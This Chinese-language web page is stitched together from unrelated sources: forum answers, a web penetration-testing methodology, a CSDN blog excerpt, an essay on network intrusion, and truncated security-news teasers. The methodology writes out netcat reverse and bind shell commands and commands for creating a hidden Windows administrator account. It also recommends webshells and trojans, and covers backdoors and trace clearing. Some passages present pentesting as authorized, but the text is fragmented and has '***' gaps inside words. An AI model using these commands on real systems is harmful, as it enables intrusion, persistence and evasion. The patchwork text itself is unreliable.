我感觉你还是要实话实说,说自己没有实际入侵经验。不然进去了不会做事还是会被辞退的。公司毕竟是要招做事的人。光理论他们不需要。我建议你做一个入侵的成功案例。或者证明你的理论确实可行再去找这个工作。这是我个人观点。
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
*** P:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端 *** 破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用 *** :
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端 *** 破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
这两个不是同一个,web是指前端开发,渗透是 *** 安全方向里面的
什么是渗透测试?
渗透测试,是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标 *** 、主机、应用的安全作深入的探测,发现系统最脆弱的环节。
如何进行Web渗透测试?
完整web渗透测试框架当需要测试的web应用数以千计,就有必要建立一套完整的安全测试框架,流程的更高目标是要保证交付给客户的安全测试服务质量。
1、立项:项目建立,时间安排,人力分配,目标制定,厂商接口人确定;
系统分析威胁分析:针对具体的web应用,分析系统架构、使用的组件、对外提供的接口等,以STRIDE为威胁模型进行对应的安全威胁分析,输出安全威胁分析表,重点关注top3威胁;
制定测试用例:根据威胁分析的结果制定对应的测试用例,测试用例按照模板输出,具备可执行性;
测试执行漏洞挖掘:测试用例执行发散测试,挖掘对应的安全问题or漏洞;
问题修复回归测试:指导客户应用开发方修复安全问题or漏洞,并进行回归测试,确保安全问题or漏洞得到修复,并且没有引入新的安全问题;
项目总结评审:项目过程总结,输出文档评审,相关文档归档。
2、Web应用的渗透测试流程
主要分为3个阶段,分别是:信息收集→漏洞发现→漏洞利用,下面仔细分析一下各个阶段流程:
一、信息收集
在信息收集阶段,我们需要尽量多的收集关于目标web应用的各种信息,比如:脚本语言的类型、服务器的类型、目录的结构、使用的开源软件、数据库类型、所有链接页面,用到的框架等
脚本语言的类型:常见的脚本语言的类型包括:php、asp、aspx、jsp等
测试 *** :
1 爬取网站所有链接,查看后缀
2 直接访问一个不存在页面后面加不同的后缀测试
3 查看robots.txt,查看后缀
服务器的类型:常见的web服务器包括:apache、tomcat、IIS、ngnix等
测试 *** :
1 查看header,判断服务器类型
2 根据报错信息判断
3 根据默认页面判断
目录的结构:了解更多的目录,可能发现更多的弱点,如:目录浏览、代码泄漏等。
测试 ***
1 使用字典枚举目录
2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取
3 查看robots.txt是否泄漏
使用的开源软件:我们如果知道了目标使用的开源软件,我们可以查找相关的软件的漏洞直接对网站进行测试。
测试 ***
指纹识别( *** 上有很多开源的指纹识别工具)
数据库类型:对于不同的数据库有不同的测试 *** 。
测试 ***
1 使应用程序报错,查看报错信息
2 扫描服务器的数据库端口(没做NAT且防火墙不过滤时有效)
所有链接页面:这个跟前面的获取目录结构类似,但是这个不只是获取网站的所有功能页面,有时候还可以获取到管理员备份的源码。
测试 ***
1 使用字典枚举页面
2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取
3 查看robots.txt是否泄漏
用到的框架:很多网站都利用开源的框架来快速开发网站,所以收集网站的框架信息也是非常关键的。
测试 ***
指纹识别( *** 上有很多开源的指纹识别工具)
二、漏洞发现
在这个阶段我们在做测试的时候要对症下药,不能盲目的去扫描,首先要确定目标应用是否使用的是公开的开源软件,开源框架等、然后在做深一度的漏洞扫描。
关于开源软件的漏洞发现
开源的软件:常见的开源软件有wordpress、phpbb、dedecms等
开源的框架:常见的开源框架有Struts2、 Spring MVC、ThinkPHP等
中间件服务器:常见的中间件服务器有jboss、tomcat、Weblogic等
数据库服务:常见的数据库服务mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
对于开源软件的测试 ***
1 通过指纹识别软件判断开源软件的版本信息,针对不同的版本信息去开放的漏洞数据库查找相应版本的漏洞进行测试
2 对于默认的后台登录页、数据库服务端口认证等入口可以进行简单的暴力破解、默认口令尝试等操作
3 使用开源的漏洞发现工具对其进行漏洞扫描,如:WPScan
关于自主开发的应用
手动测试:这个阶段,我们需要手工测试所有与用户交互的功能,比如:留言、登入、下单、退出、退货、付款等操作
软件扫描:使用免费的软件扫描,如:appscan、wvs、netsparker,burp等
可能存在的漏洞
Owasp关键点
代码安全之上传文件
代码安全之文件包含
代码安全之SSRF
逻辑漏洞之密码重置
逻辑漏洞之支付漏洞
逻辑漏洞之越权访问
平台安全之中间件安全
三、漏洞利用
针对不同的弱点有不同的漏洞利用方式,需要的知识点也比较多。一般这个阶段包括两种方式,一种是手工测试,一种是工具测试
手工测试
手工测试是通过客户端或服务器访问目标服务,手工向目标程序发送特殊的数据,包括有效的和无效的输入,观察目标的状态、对各种输入的反应,根据结果来发现问题的漏洞检测技术。手工测试不需要额外的辅助工具,可由测试者独立完成,实现起来比较简单。但这种 *** 高度依赖于测试者,需要测试者对目标比较了解。手工测试可用于Web应用程序、浏览器及其他需要用户交互的程序。
这种方式对于有特殊过滤等操作,或者 *** 上没有成型的利用工具的时候可以使用。
工具测试
*** 上有很多好用的免费利用工具,比如针对sql注入的sqlmap、针对软件漏洞的matesploit等。
其实这个问题不是很好回答,我先按照我的思路发表下看法。
是计算机相关专业的话,你已经储备了足够的计算机 *** 相关的知识。
只需要去学习web安全的各种漏洞、产生的原理、以及修复 *** 就好
不是计算机相关的想要系统的学习,付出的时间和精力就是比较多了。
首先计算机 *** 原理、数据库原理与实现技术、汇编语言程序设计、 *** 设备、
*** 的组建与设计、Java程序设计、网页 *** 技术、VB程序设计等课程。
其实也有其他的捷径,比如你可以确定一条学习的主线,web安全为主线的去学习、比如常见的高危漏洞、sql注入、XSS、文件上传、文件包含等,然后不懂的知识点,按照学习的主线去补充,就像是在一条主干上细分的枝芽、不停的去延伸!还有比如说去一些知识分享的群里学习,里面各种学习资源不说,不懂的地方还能和群友交流,比如说web渗透技术与 *** 安全,就是一个很好的学习q群。入门之后更好能学习一门语言、比如python、java等,我推荐你几本Web方面书。《SQL注入攻击与防御》,《Web渗透技术及实战案例》,《XSS跨站脚本攻击剖析与防御》,《Web之困》。
1.渗透目标
渗透网站(这里指定为www.xxx.com)
切记,在渗透之前要签订协议。
2.信息收集
建议手动检查和扫描器选择同时进行。
2.1 网站常规检测(手动)
1:浏览www.xxx.com
1. 初步确定网站的类型:例如银行,医院, *** 等。
2. 查看网站功能模,比如是否有论坛,邮箱等。
3. 重点记录网站所有的输入点(与数据库交互的页面),比如用户登录,用户注册,留言板等。4. 重点查看网站是否用到了一些通用的模板,比如论坛选择了动网(dvbss),就有可能存在动网的漏洞;邮箱有可能选择通用的邮箱系统,也有漏洞。
2: 分析网站的url1. 利用搜索引擎,搜索网站的url,快速找到网站的动态页面。
2. 对网站的域名进行反查,查看IP,确定服务器上的域名数,如果主页面url检测没有漏洞,可以对其他的域名进行检测。
3:审查代码
重点对输入代码(比如表单)进行分析,看如何来提交输入,客户端做了哪些输入的限制 *** 。
1. 隐藏表单字段 hidden
2. Username,Password等
4:控件分析
Active x 通常都是用c/c++编写
在页面上(通常是首页)的源码中搜索
1. 需要ComRaider+OD 对dll文件进行反编译,看是否有漏洞。
2. 改变程序执行的路径,破坏Active X 实施的输入确认,看web的回应。
5:对常规的输入进行手动注入测试,测试是否有sql注入和跨站漏洞,试用常规的用户名和密码登录。
6:查看web服务器的版本,确定搜索是否有低版本服务器组件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具选择和使用
1:web应用程序漏洞扫描工具
Appscan: (版本7.8)
扫描漏洞比较全,中文,漏洞利用率高,检测速度慢,需要大量内存,重点推荐。
AWVS:
英文,漏洞库完善,检测速度慢。
*** ky
中文,检测速度快,但深度一般。
Nessus
英文,检测速度较快,漏洞也比较完善,免费,可及时更新,B/S界面。
2:端口扫描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗组的hacker栏中)
Jsp+ORACAL: CnsaferSI
支持以上数据库 Pangolin
5: http *** 请求
Paros
6:木马
灰鸽子
7:提权木马
一句话木马大马(具体所用的木马参考文档和工具包(绿盟,暗组))
5: 工具推荐使用方案
Appscan扫描出的重大漏洞,进行手工检测(注意看漏洞是如何发现的,修改漏洞的代码,对渗透帮助很大)。
sql注入漏洞
可以选用根据网站类型选择sql注入工具
如果是post请求类型的url,选择使用paros *** 后,修改http请求包,进行注入。
WebDEV漏洞
可以启用发送请求(比如DELETE对方网页)
跨站漏洞
直接将appscan的代码输入测试,成功后,可以尝试跨其他脚本(比如
遍历漏洞:
网页的目录,下载网站配置文件信息,和源文件进行反编译
反编译:
Class 可以选用java 反编译工具
Dll (asp.net) 选用Reflector
3.分析并渗透
---------------------
作者:centos2015
来源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版权声明:本文为博主原创文章,转载请附上博文链接!
*** 渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时 *** 渗透也是安全工作者所研究的一个课题,在他们口中通常被称为"渗透测试(Penetration Test)"。
无论是 *** 渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型 *** 主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找更佳安全防护方案的正当手段。
随着 *** 技术的发展,在 *** 、电力、金融、教育、能源、通信、制造等行业的企业 *** 应用日趋普遍,规模也日渐扩大。在各个公司企业 *** 中, *** 结构越来越复杂,各种 *** 维护工作也极为重要,一旦 *** 出现问题,将会影响公司或企业的正常运作,并给公司或企业带来极大的损失。
在各种 *** 维护工作中, *** 安全维护更是重中之重。各种 *** 安全事件频频发生,不时见诸于报纸头条和 *** 新闻,大型企业公司的 *** 也逃不过被攻击的命运。 *** 安全工作保障着 *** 的正常运行,避免因攻击者入侵带来的可怕损失。
为了保障 *** 的安全, *** 管理员往往严格地规划 *** 的结构,区分内部与外部 *** 进行 *** 隔离,设置 *** 防火墙,安装杀毒软件,并做好各种安全保护措施。然而绝对的安全是不存在的,潜在的危险和漏洞总是相对存在的。
面对越来越多的 *** 攻击事件, *** 管理员们采取了积极主动的应对措施,大大提高了 *** 的安全性。恶意的入侵者想要直接攻击一个安全防御到位的 *** ,看起来似乎是很困难的事情。于是, *** 渗透攻击出现了。
对于大型的 *** 主机服务器群组,攻击者往往不会采取直接的攻击手段,而是采用一些迂回渐进式的攻击 *** ,长期而有计划地逐步渗透攻击进入 *** ,并完全控制整个 *** ,这就是" *** 渗透攻击"。
攻击者要直接通过设置森严的 *** 关卡进入 *** 是不可能的,然而无论怎么样设置 *** ,总会有一些或大或小的安全缺陷或漏洞。而攻击者所做的,就是在一个看似安全的 *** 上,找到一个小缺口,然后一步一步地将这些缺口扩大,扩大,再扩大,最终导致整个 *** 安全防线的失守,掌控整个 *** 的权限。
对 *** 管理员来说, *** 上的某个小小的安全缺陷,就好似一个微不足道的"蚁穴",然而忽略了对它的重视,最终的结果将十分可怕,它将会引发整个 *** 安全防御堤坝的全面崩塌。因此,作为 *** 管理员,完全有必要了解甚至掌握 *** 渗透入侵的技术,这样才能有针对性地进行防御,真正保障 *** 的安全。
*** 渗透攻击与普通攻击的不同
*** 渗透攻击与普通 *** 攻击的不同在于,普通的 *** 攻击只是单一类型的攻击。
例如,在普通的 *** 攻击事件中,攻击者可能仅仅是利用目标 *** 的Web服务器漏洞,入侵网站更改网页,或者在网页上挂马。也就是说,这种攻击是随机的,而其目的也是单一而简单的。
*** 渗透攻击则与此不同,它是一种系统渐进型的综合攻击方式,其攻击目标是明确的,攻击目的往往不那么单一,危害性也非常严重。
例如,攻击者会有针对性地对某个目标 *** 进行攻击,以获取其内部的商业资料,进行 *** 破坏等。因此,攻击者实施攻击的步骤是非常系统的,假设其获取了目标 *** 中网站服务器的权限,则不会仅满足于控制此台服务器,而是会利用此台服务器,继续入侵目标 *** ,获取整个 *** 中所有主机的权限。
为了实现渗透攻击,攻击者采用的攻击方式绝不仅此于一种简单的Web脚本漏洞攻击。攻击者会综合运用远程溢出、木马攻击、密码破解、嗅探、ARP欺骗等多种攻击方式,逐步控制 *** 。
总体来说,与普通 *** 攻击相比, *** 渗透攻击具有几个特性:攻击目的的明确性,攻击步骤的逐步与渐进性,攻击手段的多样性和综合性。
2018年,英特尔、AMD、ARM曝出CPU安全事件,引起广泛关注,舆论一片哗然。虽然英特尔公司表示此次事件不仅仅是英特尔,还涉及AMD/ARM等厂商,且CPU 漏洞补丁基本不会给普通用户造成任何影响,但这次bug依旧被定为成行业大事件。 时隔几年,CPU又再次曝出一个大bug,有意思的...
包含敏感数据的数千个 Firefox cookie 数据库目前出现在 GitHub 的存储库中,这些数据可能用于劫持经过身份验证的会话。这些 cookies.sqlite 数据库通常位于 Firefox 配置文件文件夹中。它们用于在浏览会话之间存储 cookie。现在可以通过使用特定查询参数搜索 G...
Hackernews 编译,转载请注明出处: 一个P2P的Golang僵尸网络在一年多后重新浮出水面,在一个月内侵入了医疗、教育和政府部门实体的服务器,感染了总共1500台主机。 Akamai 的研究人员在与 The Hacker News 共享的一份报告中称,这种名为 FritzFrog 的“分...
在现在跟黑客直接对抗之时,美国政府官员正在为另一个更长期的威胁做准备:攻击者现在正在收集敏感的加密数据并希望他们能在未来的某个时候将其解锁。这种威胁来自于量子计算机,它的工作方式跟我们今天使用的经典计算机非常不同。 它们使用的不是由1和0组成的传统比特,而是可以同时代表不同数值的量子比特。量子计算...
澳大利亚信息专员发现,Clearview AI 在许多方面违反了澳大利亚的隐私法。在此前的双边调查中发现,该公司的面部识别工具未经同意并以不公平的方式收集澳大利亚人的敏感信息。由澳大利亚信息专员办公室(OAIC)和英国信息专员办公室(ICO)进行的调查发现,Clearview AI 的面部识别工具不...
FBI日前警告称,勒索软件集团正在瞄准涉及重大的、时间敏感的金融事件–如兼并和收购的公司,以此来胁迫受害者支付其赎金要求。FBI在本周写给私营公司的一份咨询中指出,网络犯罪分子在针对参与重大金融事件的公司时往往试图找到非公开信息,如果他们不支付赎金要求网络犯罪分子就会威胁公布这些信息。 “在最初的...